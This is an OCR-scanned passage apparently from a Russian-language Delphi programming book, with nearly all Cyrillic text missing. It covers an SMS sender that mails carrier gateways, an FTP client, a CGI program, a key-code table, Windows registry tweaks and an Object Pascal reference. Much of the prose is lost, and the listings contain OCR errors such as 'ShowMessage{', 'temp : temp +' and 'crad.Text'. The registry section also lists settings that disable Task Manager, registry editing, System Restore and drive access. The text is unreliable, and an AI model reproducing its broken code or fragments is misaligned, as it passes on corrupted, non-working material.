NMSMTP1.PostMessage.ToAddress.Add(num); //
NMSMTP1.Connect; //
NMSMTP1.SendMail; //
154
SMS Internet
NMSMTPl.Disconnect; //
//
ShowMessage(' ! '+ num);
I end;
: . "", "38066",
"UMC", "38050", "" "38067".
,
. , "" 1565394,
"38066"+" 1565394"+"@sms.jeans.com.ua".
SMS,
, . ,
.
, ,
SMS,
. sms .OnChange:
I procedure TForml.smsChange(Sender: TObject);
begin
//
kolvo.Caption := IntToStr(Length(sms.Text));
end;
kolvo. SMS . 17.2.
SMS-sender
:
\[06)
: ]1565394
:
Privet, eto testovaya SMS, nado by udalit'
srazu...
Test complete! Programma tabotaet!
93
I |
155
S M S Internet 17.1.
17.1. SMS Internet
I unit Unitl;
! interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, Psock, NMsmtp;
type
TForml class(TForm)
oper: TComboBox;
sms: TMemo;
Labell: TLabel;
Label2: TLabel;
tel: TEdit;
Label3: TLabel;
Buttonl: TButton;
NMSMTP1: TNMSMTP;
kolvo: TLabel;
procedure ButtonlClick(Sender: TObject);
procedure smsChange(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);
var
num: string; //
begin
NMSMTP1.PostMessage.Body.Clear; //
// SMS
156
S M S Internet
17.1.
NMSMTP1.PostMessage.Body.AddStrings(sms.Lines);
//,
case oper.Itemlndex of
0: num := '38066'+tel.Text+'@sms.jeans.com.ua' //
1: num := '38050'+tel.Text+'@sms.umc.com.ua';
//UMC
2: num := '38067'+tel.Text+'@sms.kyivstar.net'; //
end;
NMSMTP1.PostMessage.ToAddress.Add(num); //
NMSMTP1.Connect; //
NMSMTP1.SendMail; //
NMSMTP1.Disconnect; //
//
ShowMessage{' ! '+ num) ;
end;
procedure TForml.smsChange(Sender: TObject);
begin
//
kolvo.Caption := IntToStr(Length(sms.Text));
end;
end.
- C h a p t e r 17.
157
18
FTP-
FTP-. FTP-cep, , . , ..
.
Delphi. ,
( 800 )
. FTP-client ( Caption) . 18.1.
18.1. FTP-
Labell
(
Standard)
Label2
Label3
Editl
(
Standard)
Caption
Left
Top
Caption
Left
Top
Caption
Left
Top
Name
Text
Left
Top
FTP-
56
16
16
48
72
80
ftpserver
ftp.narod.ru
FTP-
120
158
FTP-
18.1.
Edit2
Edit4
Edit5
Edit6
Edit7
Edit8
Edit9
EditlO
name
Text
test6001
120
Top
40
Name
pass
Left
120
Left
Edit3
Name
Top
72
Name
port
Text
21
Left
120
Top
104
Name
del
Left
512
Top
Name
cd
Left
512
Top
40
Name
cmd
Left
512
Top
72
Name
md
Left
512
Top
104
Name
rd
Left
512
Top
136
Name
download
Left
512
Top
168
Buttonl
Caption
Left
Standard)
Top
144
159
18.1.
Button2
Button3
Button4
Button5
Button6
Button7
Button8
Button9
Memo
(
Standard)
Caption
Left
Top
144
Caption
123
Left
512
Top
200
Caption
Left
Top
Caption
Left
Top
40
Caption
Left
Top
72
Caption
Left
Top
104
Caption
Left
Top
136
Caption
Left
672
672
672
672
672
672
Top
168
Name
statusl
Lines
Left
264
Top
Height
217
Width
233
160
FTP-
18.1.
OpenDialog
(
Dialogs)
SaveDialog
(
Dialogs)
NMFTP
(
FastNet)
Name
Openl
Name
Savel
Name
ftp
. 18.1.
I Jfc FTPcIleiJt
:
:.:.::: FTP-cepeepi"Pnaordr
J JF
e
tiName
:..
:: 6 0 0 1
- !
: : I
:'
21
'
-inlxj
|
\
JD
rN
iame
;
- JDuName
Je
FliName
vI '
. 18.1. FTP-
.
:
procedure TForml.ButtonlClick{Sender: TObject);
begin
ftp.Host := ftpserver.Text; //ftp-
ftp.UserID := name.Text; //
ftp.Password := pass.Text; //
ftp.Port := StrToInt(port.Text); //
//
if not ftp.Connected then ftp.Connect;
Lend;
, . .
.
161
^ j ^ j ^ j j
, .
,
(procedure TForml.Button4Click(Sender: TObject);
begin
ftp.Delete(del.Text); //
i end;
______
__ _
, .
:
procedure TForml.ButtonSClick(Sender: TObject);
begin
ftp.ChangeDir(cd.Text); //
end;
, cd.
procedure TForml.Button6Click(Sender: TObject);
begin
ftp.DoCommand(cmd.Text); //
end;
, , .
cmd, ,
,
.
:
I procedure TForml.Button8Click(Sender: TObject);
11 5-1212
162
FTP-
begin
ftp.RemoveDir(rd.Text); //
end;
;
procedure TForml.Button9Click(Sender: TObject);
begin
//
if Savel.Execute
then //
ftp.Download(download.Text,savel.FileName)
else ShowMessage('File not saved! 1 ); {
}
end;
.
.
, :
procedure TForml.Button3Click(Sender: TObject);
var
i: integer;
FName, temp: string; //
begin
if not Openl.Execute then ShowMessage(' !')
else begin
// ,
temp := ' ' ;
FName := '';
//
for i:=Length(Openl.FileName) downto 1 do
begin
if Openl.FileName[i] = 'V then break;
temp : temp + Openl.FileName[i];
end;
for i:=Length(temp) downto 1 do
fname := fname + temp[i];
ftp.Upload(Openl.FileName, FName); //
end;
end;
,
. .
, ftp- . , ,
163
. ftp.
L O n A u t h n t i a t i n F a i 1 e d:
procedure TForml.ftpAuthenticationFailed(var Handled:
Boolean);
begin
statusl.Lines.Add(' ');
|j=md;
OnConnect:
procedure TForml.ftpConnect(Sender : TObject);
begin
statusl Lines.Add('');
// ip-
statusl Lines.Add('IP : ' + ftp.LocallP);
// ip-
statusl Lines.Add('IP : ' + ftp.RemotelP);
end;
OnConnect i o n F a i led:
procedure TForml .ftpConnectionFailed(Sender: TObject);
begin
statusl .Lines.Add('He ');
end;
OnDis connect:
procedure TForml.ftpDisconnect(Sender: TObject);
j begin
statusl.Lines.Add('');
end;
OnError:
__Onlrrva I i dHo s t:
procedure TForml .ftpInvalidHost (var Handled: Boolean);
begin
statusl .Lines.Add(' ');
end;
*
164 FTP-
j procedure TForml.ftpStatus(Sender: TComponent;
Status: String);
begin
statusl.Lines.Add(Status);
end;
I procedure TForml.ftpSuccess(Trans_Type: TCmdType);
begin
statusl.Lines.Add('') ;
; end;
procedure TForml.ftpTransactionStart(Sender: TObject);
j begin
statusl.Lines.Add(' ');
.
Web-, FTP-
.
18.1.
FTP-
18.1. FTP-
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, NMFtp, StdCtrls, Psock;
type
TForml = class(TForm)
ftp: TNMFTP;
ftpserver: TEdit;
165
18.1.
Labell: TLabel;
Label2: TLabel;
name: TEdit;
Label3: TLabel;
pass: TEdit;
Label4: TLabel;
port: TEdit;
Buttonl: TButton;
Button2: TButton;
statusl: TMemo;
Button3: TButton;
Openl: TOpenDialog;
Button4: TButton;
del: TEdit;
Button5: TButton;
cd: TEdit;
cmd: TEdit;
Button6: TButton;
md: TEdit;
Button7: TButton;
rd: TEdit;
Button8: TButton;
download: TEdit;
Button9: TButton;
Savel: TSaveDialog;
procedure ButtonlClick(Sender: TObject);
procedure ftpStatus(Sender: TComponent; Status: String);
procedure ftpError(Sender: TComponent; Errno: Word;
Errmsg: String);
procedure ftpDisconnect(Sender: TObject);
procedure ftpConnect(Sender: TObject);
procedure ftpConnectionFailed(Sender: TObject);
procedure ftpInvalidHost(var Handled: Boolean);
procedure ftpSuccess(Trans_Type: TCmdType);
procedure ftpTransactionStart(Sender: TObject);
procedure ftpTransactionStop(Sender: TObject);
procedure ftpAuthenticationFailed(var Handled: Boolean);
procedure Button2Click(Sender: TObject)
procedure Button3Click(Sender: TObject)
procedure FormDestroy(Sender: TObject);
procedure Button5Click(Sender: TObject)
procedure Button4Click(Sender: TObject)
procedure Button6Click(Sender: TObject)
procedure Button7Click(Sender: TObject)
procedure Button8Click(Sender: TObject)
166
FTP-
18.1.
procedure Button9Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);
begin
ftp.Host := ftpserver.Text; //ftp-
ftp.UserlD := name.Text; //
ftp.Password := pass.Text; //
ftp.Port := StrToInt (port.Text); //
//
if not ftp.Connected then ftp.Connect;
end;
procedure TForml.ftpStatus(Sender: TComponent;
Status: String);
begin
statusl.Lines.Add(Status) ;
end;
procedure TForml.ftpError(Sender: TComponent; Errno: Word;
Errmsg: String);
begin
statusl.Lines.Add(': ' + Errmsg);
end;
procedure TForml.ftpDisconnect(Sender: TObject);
begin
statusl.Lines.Add(' ' ) ;
end;
procedure TForml.ftpConnect(Sender: TObject);
begin
statusl.Lines.Add('' ) ;
167
18.1.
statusl.Lines.Add('IP : ' + ftp.LocallP);
statusl.Lines.Add('IP : ' + ftp.RemotelP);
end;
procedure TForml.ftpConnectionFailed(Sender: TObject);
begin
statusl.Lines.Add('He ');
end;
procedure TForml.ftpInvalidHost(var Handled: Boolean);
begin
statusl.Lines.Add(' ');
end;
procedure TForml.ftpSuccess(TransJType: TCmdType);
begin
statusl.Lines.Add('');
end;
procedure -TForml.ftpTransactionStart(Sender: TObject);
begin
statusl.Lines.Add(' ');
end;
procedure TForml.ftpTransactionStop(Sender: TObject);
begin
statusl.Lines.Add(' ');
end;
procedure TForml.ftpAuthenticationFailed(var Handled:
Boolean);
begin
statusl.Lines.Add(' ');
end;
procedure TForml.Button2Click(Sender: TObject);
begin
if ftp.Connected then //
ftp.Disconnect; //
end;
procedure TForml.Button3Click(Sender: TObject);
var
i: integer;
FName, temp: string; //
168
FTP-
18.1.
I begin
if not Openl.Execute then ShowMessage(' !')
else begin
// ,
temp : = ' ' ;
FName : ^ ' ';
//
for i:=Length(Openl.FileName) downto 1 do begin
if Openl.FileName[i] = '\' then break;
temp := temp + Openl.FileName[i];
end;
for i:"Length(temp) downto 1 do fname := fname + tempfi];
ftp.Upload(Openl.FileName, FName); //
end;
end;
procedure TForml.FormDestroy(Sender: TObject);
begin
if ftp.Connected then ftp.Disconnect;
end;
procedure TForml.Button5Click(Sender: TObject);
begin
ftp.ChangeDir(cd.Text) ;
end;
procedure TForml.Button4Click(Sender: TObject);
begin
ftp.Delete(del.Text); //
end;
procedure TForml.Button6Click(Sender: TObject);
begin
ftp.DoCommand(crad.Text); //
end;
procedure TForml.ButtonVClick(Sender: TObject);
begin
ftp.MakeDirectory(md.Text); //
end;
procedure TForml.Button8Click(Sender: TObject);
begin
ftp.RemoveDir(rd.Text); //
end;
169
18.1.
procedure TForml.Button9Click(Sender: TObject);
begin
//
if Save!.Execute
then //
ftp.Download(download.Text,savel.FileName)
else ShowMessage('File not saved!'); (
}
end;
end.
- C h a p t e r 18.
170
CGI-
19
CGI-
CGI- Delphi. , .
, Delphi CGI-. , , HTML- "
CGI-".
, , Delphi, . File -> New - Other,
New Items (. 19.1).
| ' New Items
C
"r
Apc
p
ia
o
litn Ba
cth F
e
liApc
C
X
I
C
L
X
D
a
t
L
X
F
o
m
p
ia
o
litn Mod
eul
C
L
XF
arme C
o
m
p
o
n
e
n
tC
o
rita
Co
o
n
rtl Panel
Ao
pn
c
p
o
llitnPanelM
d
eu
lo
Copy
Inherit
Form
ij-.s
Frame
Package
.'',.
OK
Cancel
Help
171
Console Application .
_ :
program
cgi_test;
//
{$APPTYPE CONSOLE}
{$ cgi} // .cgi
begin
// - text/html
WriteLn('Content-Type: text/html');
WriteLn;
WriteLn;
WriteLn('<HTML>'); //
WriteLn('<HEAD>);
//
WriteLn('<TITLE>nepBbrii cgi- Delphi</TITLE>');
//
WriteLn('< http-equiv="Content-Type" ' +
1
content="text/html; charset=windows-1251">');
WriteLn('</HEAD>);
WriteLn('<BODY>');
WriteLn(' < H 1 X C E N T E R > _ T O CG_-C4_Haprat</CENTER>'+
'</1>'); //
WriteLn('</BODY>');
WriteLn('</HTML>');
end.
c g i _ t e s t . c g i .
CGI- " cgi- Delphi" :
" CGI-".
Web-, . . html :
<HTML>
<HEAD>
<1> cgi- Delphi</TITLE>
</HEAD>
<BODY>
<FORM method="POST" action="cgi/cgi_test.cgi" method="POST">
<input type="submit" 1="">
</FORM>
<><> ,
: </b><a href="cgi/cgi_test.1"> cgi</>
</BODY>
</HTML>
172
CGI-
(.
19.2).
CGI-
JBJ xj
"
2 *
http://locatiostycgLtest.html
Customzie links i Free Hotma ... Wni dows , Wnidow MedU
|iCi,
,
CGI Web- (, Apache).
Web-,
.
"
CGI-" (. 19.3).
cgi- Delphi - Mozilla FirefoK
jIGJ,.
; Customtee Links \_) Free Hotmail . Wn
i dows [jj Wn
i dows Meda
i
CGI-
. 19.3. , CGI- c g i _ t e s t . c g i
C h a p t e r 19.
173
,
Ord . .
.1.
,
,
d, D
,
f, F
9.G
h, H
I, I
i.J
k,
I, L
m, M
n, N
o,O
P, P
q,Q
r, R
s, S
t, T
u, U
v, V
w, W
x, X
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
$41
$42
$43
$44
$45
$46
$47
$48
$49
$4
$4
$4
$4D
$4
$4F
$50
$51
$52
$53
$54
$55
$56
$57
$58
ord
ord ('' )
ord('B')
ord(')
o r d (' D' )
ord('E')
ordCF' )
ord('G' )
ord('H')
ordCI' )
ord J ' )
o r d ')
ordCL' )
ord('M')
ord('N')
ord ('O' )
ord (' P' )
ordCQ' )
ord('R')
ord('S')
ordl'T' )
ordCU' )
ord ( ' V )
ordl'W' )
ord('X')
174
.1.
.
z, Z
0
89
$59
$5
97
2
3
90
96
order )
ord(' Z' )
$60
VK NUMPAD0
VK NOMPAD1
98
$61
$62
99
$63
VK NUMPAD3
100
$64
VK NUMPAD4
VK NUMPAD5
VK NUMPAD2
101
$65
102
$66
VK NUMPAD6
7
8
103
$67
VK NUMPAD>
104
$68
VK NUMPAD8
9
*
105
$69
VK NUMPAD9
106
$6
VK MULTIPLY
107
$6
109
$6D
110
$6
VK DECIMAL
VK ADD
VK
SUBTRACT
111
$6F
VK DIVIDE
F1
112
F2
113
114
115
$70
$71
VK F2
F3
F4
ord
VK F l
$72
$73
VK F 3
VK F4
F5
F6
116
$74
VK F5
117
$75
VK F6
F7
118
$76
VK F7
F8
119
$77
VK F8
F9
120
$78
VK F9
F10
121
$79
VK F 1 0
Backspace
32
8
$20
VK SPACE
$8
VK BACK
Tab
Enter
13
$9
$0D
VK RETURN
Shift
16
$10
VK S H I F T
VK TAB
175
.1.
Ctrl
17
$11
VK CONTROL
Alt
18
$12
CapsLock
20
$14
Esc
27
$1
VK
ESCAPE
VK
INSERT
Insert
45
$2D
PageUp
33
$21
PageDown
34
$22
VK MENU
VK
CAPITALE
VK
PRIOR
VK NEXT
End
35
$23
VK END
Home
36
$24
VK HOME
<
37
$25
VK
t
>
1
38
$26
VK UP
39
$27
VK RIGHT
40
$28
Delete
46
$2
PrintScreen
44
$2
ScrollLock
145
$91
Pause
19
$13
Numlock
144
$90
LEFT
VK DOWN
VK
VK
VK
VK
DELETE
SNAPSHOT
SCROLL
PAUSE
VK NUMLOCK
ord
176
177
Windows
Windows.
, r e g e d i t . exe. , Windows,
12.
(, 800x600)
:
:
[HKEY_LOCAL_MACHINE\Config\0001\Display\Settings].
:
"Resolution" = "800, 600"
10 :
[HKEY_CURRENT__USER\Control
"MenuShowDelay"="10"
Panel\desktop]
,
:
[HKEY_CLASSES_ROOT\piffile]
"IsShortcut"=""
[HKEY_CLASSES__ROOT\lnkfile]
"IsShortcut"=""
12 5-1212
178
Windows
"..."
"
...", :
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer]
M
"Link =hex:00,00,00,00
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Policies\System]
:
"DisableRegistryTools"=dword:00000001
:
[HKEY_CURRENT_USER\Control Panel\Sound]
:
"Beep"="No"
:
[HKEY_CURRENT_USER\Control
Panel\Sound]
:
"Beep"="Yes"
CD-ROM
:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
\CDRom]
:
"Autorun"=dword:00000000
179
:
[HKEY_CURRENT__USER\Software\Microsoft\Windows\Current
Version\Explorer\Advanced]
:
"ShowInfoTip"=dword:00000000
:
[HKEY_CURRENT_USER\ControlPanel\Mause]
:
"SnapToDefaultButton"="l"
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Policies\System]
:
"DisableTaskMgr"=dword:00000001
:
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windo
ws NT\SystemRestore]
:
"DisableConfig"=dword:00000001
swap
:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Session Manager\Memory Management]
:
"ClearPageFileAtShutdown"=dword: 00000001
12*
180
Windows
,
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer\User Shell Folders]
"Favorites"="C:\\"
[HKEY_LOCALJVIACHINE\SOFTWARE\Microsoft\Windows\Curren
tVersion]
"ProgramFilesDir"="C:WProgram F i l e s "
"ProgramFilesPath"="C:WProgram F i l e s "
>
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer]
:
"NoFind"=dword:0
-* >
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer]
:
"NoComnonGroups"=dword:00000001
-*
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
VersionXExplorer]
181
:
"NoFavoritesMenu"=dword:00000001
>
:
[HKEY_CURRENT JJSER\Software\Microsoft Windows\Current
Version\Explorer]
:
"NoRecentDocsMenu"=dword:00000001
>
:
[HKEY__CURRENT_USER\ So ftware\Microso ft Windows \Cur rent
Version\Policies\Explorer]
:
"NoContro1Panel"=dword:00000001
:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
VersionXPolicies\Explorer]
:
"NoRun"=dword:00000001
> >
> .
- - ( ), :
[HKEY_CURRENT_USER\Software\Microsoft Windows\Current
Version\Explorer]
"NoSetFolders"=dword:00000001
>
:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
Version\Explorer]
:
"NoSetTaskbar"=dword:00000001
182
Windows
*
:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
Version\Explorer]
:
" N o L o g O f f " = h e x : 0 1 , 0 0 , 0 0 , 00
-*
:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
Version\Explorer]
:
"NoClose"=dword:00000001
:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
Version\Policies\Explorer]
:
"NoStartMenuSubFolders"=dword:00000001
:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
Version\Explorer\Documents]
:
"DisableStartInMyDocs"=dword:00000001
. .
, :
[HKEY_CURRENTJJSER\Software\MicrosoftWindows\Current
Version\Explorer]
A: "NoDrives"=dword:00000001
183
:
:
D:
:
F:
G:
H:
I:
J:
K:
L:
M:
N:
0:
P:
Q:
R:
S:
T:
U:
V:
W:
X:
Y:
Z:
"NoDrives"=dword:00000002
"NoDrives"=dword:00000004
"NoDrives"=dword:00000008
"NoDrives"=dword:00000010
"NoDrives"=dword:00000020
"NoDrives"=dword:00000040
"NoDrives"=dword:00000080
"NoDrives"=dword:00000100
"NoDrives"=dword:00000200
"NoDrives"=dword:00000400
"NoDrives"=dword:00000800
"NoDrives"=dword:00001000
"NoDrives"=dword:00002000
"NoDrives"=dword:00004000
"NoDrives"=dword:00008000
"NoDrives"=dword:00010000
"NoDrives"=dword:00020000
"NoDrives"=dword:00040000
"NoDrives"=dword:00080000
"NoDrives"=dword:00100000
"NoDrives"=dword:00200000
"NoDrives"=dword:00400000
"NoDrives"=dword:00800000
"NoDrives"=dword:01000000
"NoDrives"=dword:02000000
:
"NoDrives"=dword:03FFFFFF
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer]
:
"NoPrinters"=dword:00000001
184
Windows
:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
VersionXExplorer]
:
"NoPrinterTabs"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
VersionXExplorer]
:
"NoDesktop"=dword:00000001
Internet
:
[HKEY_CURRENT__USER\Software\Microsoft\Windows\Current
VersionXExplorer]
:
"Nolnternetlcon"=dword:00000001
:
[HKEY_CURRENTJJSER\Software\Microsof t:\Windows\Current
VersionXExplorer]
:
"NoNetHood"=dword:00000001
:
[HKEY_CURRENTJ3SER\Software\Microsoft\Windows\Current
VersionXPoliciesXSystem]
185
:
"NoDispCPL"=dword:00000001
:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
VersionXPolicies\Explorer]
:
"NoTrayContextMenu"=hex:01,00,00,00
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
VersionXPolicies\Explorer]
:
"NoViewContextMenu"=hex:01,00,00,
00
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer\Documents]
:
"HideMyDocsFolder"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Policies\System]
:
"NoDispAppearancePage"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
VersionXPolicies\System]
186
Windows
:
"NoDispBackgroundPage"=dword:00000001
:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
VersionXPolicies\Systern]
:
"NoDispScrSavPage"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Policies\System]
:
"NoDispSettingsPage"=dword:00000001
Internet Explorer
,
Windows Update
:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curren
tVersion\Policies\Explorer]
:
"NoWir.dowsUpdate"=dword: 00000001
-
:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curren
tVersion\Policies\Explorer]
:
"NoExpandedNewMenu"=dword:00000001
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Inter
Explorer\Restrictions]
:
"NoSearchCustomization"=dword:00000001
:
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Inter
net Explorer\Restrictions]
:
"NoFavorites"=dword:00000001
:
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Inter
net Explorer\Restrictions]
:
"RestGoMenu"=dword:00000001
-
:
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Inter
net Explorer\Restrictions]
:
"NoBrowserOptions"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
188
Windows
:
"CertifPers"=dword:00000001
"CertifSite"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control- Panel]
:
"GeneralTab"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"SecurityTab"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"ContentTab"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"ConnectionsTab"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"Advanced"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"HomePage"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"Settings"=dword:00000001
190
Windows
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"Cache"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"History"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control
Panel]
:
"Colors"=dword:00000001
HTML
:
[HKEY_CURRENT__USER\Software\Policies\Microsoft\Intern
et ExplorerVControl Panel]
:
"Links"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"Fonts"=dword:00000001
:
"FormSuggest"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
192
Windows
:
"FormSuggest
Passwords"=dword:00000001
Internet
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et ExplorerXControl Panel]
:
"Connwiz Admin Lock"=dword:00000001
Internet
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
:
"Connection Settings"=dword:00000001
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et ExplorerXControl Panel]
:
"AutoConfig"=dword:00000001
-
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et ExplorerXControl Panel]
:
"Proxy"=dword:00000001
,
Internet Explorer ,
:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et ExplorerXControl Panel]
:
"Check If Default"=dword:00000001
:
"Search Page"=http://www.ya.ru
13 5-1212
194
Object Pascal
Object Pascal
, . Object Pascal :
/ / ;
{ } (* *) .
1 := i + 1; //
s := IntToStr ( i ) ; { IntToStr,
-
}
- - , , ,
, , , .
255 , ; ,
.
Object Pascal
, . , I n t T o S t r i n t t o s t r i n t T O s t r .
: .
and, array, as, asm, at, automated;
begin;
case,class, const, constructor;
destructor, div, do, downto;
else, end, except, exports;
195
file,finalization,finally,
goto;
for, function;
Object Pascal
(. .1).
.1. Object Pascal
Byte
0..255
Real
5.0-10' 3 2 4 .. 1.7-10 3 0 8
Shortlnt
-128..127
Real48
2.9-10" 3 9 .. 1.7-10 38
Smalllnt
-32768..32767
Single
1.5-10~ 4 5 ..3.4-10 3 8
Word
0..65535
Double
5.0-10- 3 2 4 .. 1.7-10 3 0 8
Integer,
-2147483648..
Extended
3.6-10" 4 9 5 1 .. 1.1-10 4 9 3 2
Longlnt
21474883647
Cardinal,
0..4294967295
Comp
- 2 6 3 + 1 .. 2 6 3 - 1
-2 63 ..2 63 -1
Currency
LongWord
Int64
-922337203685477.5808..
922337203685477.5807
13*
196
Object Pascal
Char
.
Object Pascal :
S t r i n g Delphi {$+} ( ), 0 2147483648 ;
String
0 255 ;
PChar , .
, , S t r i n g 1,
PChar .
: True ("", "", 1)
False ("", "", 0). Boolean.
,
(). Object Pascal
:
a r r a y [ 1 . .N1] of type ( , type , );
a r r a y [ 1 . . N 1 , 1..N2] of type
;
a r r a y [ 1 . . N 1 , 1..N2,
1..N3]
o f type - -
;
a r r a y of type . -
197
SetLength.
0.
. :
const _ = ;
const F a c t o r = 1.756;
, . :
v _ : _ ;
var
i: Integer;
// i Integer
s: String;
// S String
MyArray: array[1..10] of Char; { MyArray
Char.
StringflO]}
:
: =;
, , (' ' , ' ');
: [ 1 ] - -
; [ 3 ] [ 1 ] - -
; [ 1 ] [ 6 ] [ 2 ] . .;
Object Pascal, , -
198
Object Pascal
type ( ).
.
S t r i n g :
var
si, s2: String; // String
: Char;
// Char
si := ''; // si
:= s[l]; // '
s2 := si + ; // s2 ''
_ :
var
MyArray: array of Char;
s: String;
SetLength(MyArray, 1 ) ; // = 1
A [ 0] : = ' ' ;
SetLength(MyArray, 2 ) ; // = 2
[ 1 ] : = ' ' ;
s := [0] + [1] + '' // s ''
,
:
type _ = ^;
, , .
- -
, .
set of _.._;
,
, , .
199
:
type
TNumbers = s e t
of
1..10;
T A l p h a b e t = s e t of
'a'
var
Odds, E v e n s : TNumbers;
ABC: T A l p h a b e t ;
j Odds : = [ 1 , 3, 5, 7, 9] ;
\ Evens : = [2, 4, 6, 8, 1 0 ] ;
ABC : = [ ' a ' ,
'b', ' '];
,
. :
type = (!,
. . .,
);
, 0, 1 .. - , = .
, , Ord.
type
TDigits = (Zero, One, Two, Three, Four, Five,
Six, Seven Eight, Nine, Ten);
TConstants = (a = 10, b = 3 ) ;
var
x: TDigits ;
k: TConstants;
MyResult: integer;
k := b; //k 3
if x = Zero then k := a // x=0, 10
MyResult := Ord(k); //MyResult
3 10
200
Object Pascal
. :
type _ = ..;
; type
TDigits = (Zero, One, Two, Three, Four, Five,
Six, Seven, Eight, Nine, Ten); //
T123 = One..Three; //
TABC = 'A'..'; //
var
i: T123; // I 1 3
: ; // '', '' '
- - .
. :
record
!: ;
: ;
end;
i
type
TCD = record // CD
Group String; //,
Year: Integer; //,
Title String; //,
end;
|
var MyCD:TCD;
201
I MyCD.Year := 2005;
| MyCD.Title := ' ';
, ( ), , ().
, .
, . ,
.
:
type _ = class{ _)
published
{
private
{
public
{
protected
{
end;
}
}
}
}
: (private), (protected), (public)
(published).
, p u b l i c , -
. , publ i s h e d , , (RTTI Run Time Type
Information). RTTI : ,
.
14 5 - 1 2 1 2
202
Object Pascal
, p r i v a t e , , . , .
, p r o t e c t e d , ,
, , .
Object Pascal
p r o t e c t e d , p u b l i s h e d . , p r i v a t e
p u b l i c , p u b l i s h e d .
, , TForm ( Forms . pas), JJ[J}PJlj[J]^^
TForm = class(TCustomForm)
public
procedure Arrangelcons;
procedure Cascade;
published
property Action;
property ActiveControl;
end;
, TForm
TCustomForm ( Forms.pas) Arrangelcons, Cascade .., Action, A c t i v e C o n t r o l ..
i n t e r f a c e , i m p l e m e n t a t i o n ( Object Pascal ).
, Delphi,
______________
type
TForml = class(TForm)
private
{ Private declarations }
public
{ Public declarations }
end;
203
!
varFormi:
TForml;
, TForml,
TForm,
TForml. . Delphi , .
. , TForm, Height (""), Width (""), Color ("") .
, .
-
, ia , :
var
Forml: TForml;
Forml.Caption := '
Forml.Font.Color := clWhite;
TForml = class(TForm)
Editl: TEdit;
private
{ Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
Forml.Editl.Text := '';
14
204
Object Pascal
, .
. , , .
,
:
' ButtonlClick; // ,
with-do
